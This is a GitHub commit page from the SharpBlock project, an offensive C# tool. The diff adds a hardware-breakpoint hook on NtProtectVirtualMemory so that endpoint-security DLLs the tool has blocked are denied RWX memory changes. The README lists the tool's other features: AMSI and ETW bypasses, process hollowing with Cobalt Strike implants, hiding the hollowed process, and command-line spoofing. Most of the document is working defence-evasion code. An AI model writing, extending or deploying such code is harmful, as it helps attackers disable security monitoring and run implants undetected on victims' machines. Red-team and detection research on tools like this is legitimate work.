Skip to content

Commit a3912ad

Browse files
committed
Bypass also on NtProtectVirtualMemory to block EDR's that hook via non DLL entry point methods
1 parent 8731d0e commit a3912ad

File tree

5 files changed

+68
-3
lines changed

5 files changed

+68
-3
lines changed

Context.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -70,5 +70,7 @@ public ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue) {
7070
public abstract void SetRegister(int index, long value);
7171

7272
public abstract long GetRegister(int index);
73+
74+
public abstract long GetParameter(int index, IntPtr hProcess);
7375
}
7476
}

Context32.cs

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -104,5 +104,13 @@ public override long GetRegister(int index) {
104104
throw new NotImplementedException();
105105
}
106106
}
107+
108+
public override long GetParameter(int index, IntPtr hProcess) {
109+
long parameterAddress = ctx.Esp + 4 + (index * 4);
110+
byte[] parameterValue = new byte[4];
111+
IntPtr bytesRead;
112+
WinAPI.ReadProcessMemory(hProcess, new IntPtr(parameterAddress), parameterValue, 4, out bytesRead);
113+
return BitConverter.ToUInt32(parameterValue, 0);
114+
}
107115
}
108116
}

Context64.cs

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -136,5 +136,21 @@ protected override bool SetContext(IntPtr thread, IntPtr context) {
136136
protected override bool GetContext(IntPtr thread, IntPtr context) {
137137
return WinAPI.GetThreadContext(thread, context);
138138
}
139+
140+
public override long GetParameter(int index, IntPtr hProcess) {
141+
142+
switch (index) {
143+
case 0:
144+
return (long)ctx.Rcx;
145+
case 1:
146+
return (long)ctx.Rdx;
147+
case 2:
148+
return (long)ctx.R8;
149+
case 3:
150+
return (long)ctx.R9;
151+
}
152+
153+
throw new NotImplementedException("Only 4 parameters or less currently supported");
154+
}
139155
}
140156
}

Program.cs

Lines changed: 40 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,10 @@ class Program {
2828
static Execute.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory NtProtectVirtualMemorySysCall;
2929

3030
static Program() {
31-
NtWriteVirtualMemorySysCall = GetDelagateForSysCall<Execute.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory>(Execute.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory"));
32-
NtProtectVirtualMemorySysCall = GetDelagateForSysCall<Execute.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory>(Execute.DynamicInvoke.Generic.GetSyscallStub("NtProtectVirtualMemory"));
31+
if (IntPtr.Size == 8) {
32+
NtWriteVirtualMemorySysCall = GetDelagateForSysCall<Execute.DynamicInvoke.Native.DELEGATES.NtWriteVirtualMemory>(Execute.DynamicInvoke.Generic.GetSyscallStub("NtWriteVirtualMemory"));
33+
NtProtectVirtualMemorySysCall = GetDelagateForSysCall<Execute.DynamicInvoke.Native.DELEGATES.NtProtectVirtualMemory>(Execute.DynamicInvoke.Generic.GetSyscallStub("NtProtectVirtualMemory"));
34+
}
3335
}
3436

3537
static D GetDelagateForSysCall<D>(IntPtr syscallStub) where D : Delegate {
@@ -48,6 +50,7 @@ public struct HostProcessInfo {
4850
static List<string> blockDescription = new List<string>();
4951
static List<string> blockCopyright = new List<string>();
5052
static List<string> blockProduct = new List<string>();
53+
static List<Tuple<long,long>> blockAddressRanges = new List<Tuple<long, long>>();
5154

5255
static IntPtr amsiInitalizePtr;
5356
static IntPtr getCommandLineWPtr;
@@ -118,6 +121,11 @@ static bool WriteProcessMemory(IntPtr hProcess, IntPtr baseAddress, byte[] data,
118121
}
119122
}
120123

124+
static bool IsInBlockedRange(long address) {
125+
var result = blockAddressRanges.Where(range => address >= range.Item1 && address < range.Item2).FirstOrDefault();
126+
return result != null;
127+
}
128+
121129
static string PatchEntryPointIfNeeded(IntPtr moduleHandle, IntPtr imageBase, IntPtr hProcess) {
122130

123131
long fileSize;
@@ -151,21 +159,27 @@ static string PatchEntryPointIfNeeded(IntPtr moduleHandle, IntPtr imageBase, Int
151159

152160
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
153161
IntPtr entryPoint;
162+
long sizeOfImage;
154163
if ((fileHeader.Characteristics & IMAGE_FILE_32BIT_MACHINE) == IMAGE_FILE_32BIT_MACHINE) {
155164
PE.IMAGE_OPTIONAL_HEADER32 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure
156165
(new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER32));
157166

158167
entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt32());
168+
sizeOfImage = optionalHeader.SizeOfImage;
159169

160170
} else {
161171
PE.IMAGE_OPTIONAL_HEADER64 optionalHeader = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure
162172
(new IntPtr(mem.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf(typeof(PE.IMAGE_FILE_HEADER))), typeof(PE.IMAGE_OPTIONAL_HEADER64));
163173

164174
entryPoint = new IntPtr(optionalHeader.AddressOfEntryPoint + imageBase.ToInt64());
175+
sizeOfImage = optionalHeader.SizeOfImage;
165176
}
166177

167178
if (ShouldBlockDLL(dllPath.ToString())) {
168179

180+
Tuple<long, long> addressRange = new Tuple<long, long>((long)imageBase, (long)imageBase + sizeOfImage);
181+
blockAddressRanges.Add(addressRange);
182+
169183
Console.WriteLine($"[+] Blocked DLL {dllPath}");
170184

171185
byte[] retIns = new byte[1] { 0xC3 };
@@ -657,6 +671,20 @@ private static void SetNewProcessParent(ref STARTUPINFOEX startupInfoEx, int par
657671
}
658672
}
659673

674+
private static void BlockVirtualProtect(IntPtr hThread, IntPtr hProcess) {
675+
676+
Context ctx = ContextFactory.Create(ContextFlags.All);
677+
ctx.GetContext(hThread);
678+
679+
long returnAddress = (long)ctx.GetCurrentReturnAddress(hProcess);
680+
long protection = ctx.GetParameter(3, hProcess);
681+
682+
if (protection == 0x40 && IsInBlockedRange(returnAddress)) {
683+
Console.WriteLine("[+] Attempt to change memory to RWX from blocked DLL denied");
684+
OverrideReturnValue(hThread, hProcess, new UIntPtr(0xC0000022), 5);
685+
}
686+
}
687+
660688
static void StdOutReader(StreamReader sr) {
661689

662690
try {
@@ -731,6 +759,7 @@ static void Main(string[] args) {
731759

732760
IntPtr ntdllBase = WinAPI.LoadLibrary("ntdll.dll");
733761
IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite");
762+
IntPtr ntProtectVirtualMemoryPtr = WinAPI.GetProcAddress(ntdllBase, "NtProtectVirtualMemory");
734763

735764
Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}");
736765
Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}");
@@ -796,6 +825,8 @@ static void Main(string[] args) {
796825
if (bypassAmsi)
797826
SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr, 0);
798827

828+
SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, ntProtectVirtualMemoryPtr, 3);
829+
799830
break;
800831
case WinAPI.CREATE_THREAD_DEBUG_EVENT:
801832
WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
@@ -807,6 +838,8 @@ static void Main(string[] args) {
807838

808839
if(bypassETW)
809840
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], etwEventWritePtr, 2);
841+
842+
SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, ntProtectVirtualMemoryPtr, 3);
810843
}
811844

812845
break;
@@ -882,6 +915,11 @@ static void Main(string[] args) {
882915
}else if(ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == etwEventWritePtr) {
883916
//We have hit EtwEventWrite so lets just return with a fake success result
884917
OverrideReturnValue(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId], new UIntPtr(0), 5);
918+
}else if(ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == ntProtectVirtualMemoryPtr) {
919+
BlockVirtualProtect(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);
920+
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], ntProtectVirtualMemoryPtr, 3);
921+
} else {
922+
SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], ntProtectVirtualMemoryPtr, 3);
885923
}
886924

887925
} else {

README.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,8 @@ A method of bypassing EDR's active projection DLL's by preventing entry point ex
88
* Host process that is replaced with an implant PE that can be loaded from disk, HTTP or named pipe (Cobalt Strike)
99
* Implanted process is hidden to help evade scanners looking for hollowed processes.
1010
* Command line args are spoofed and implanted after process creation using stealthy EDR detection method.
11-
* Patchless ETW bypass
11+
* Patchless ETW bypass.
12+
* Blocks NtProtectVirtualMemory invocation when callee is within the range of a blocked DLL's address space
1213

1314
```
1415
SharpBlock by @_EthicalChaos_

0 commit comments

Comments
 (0)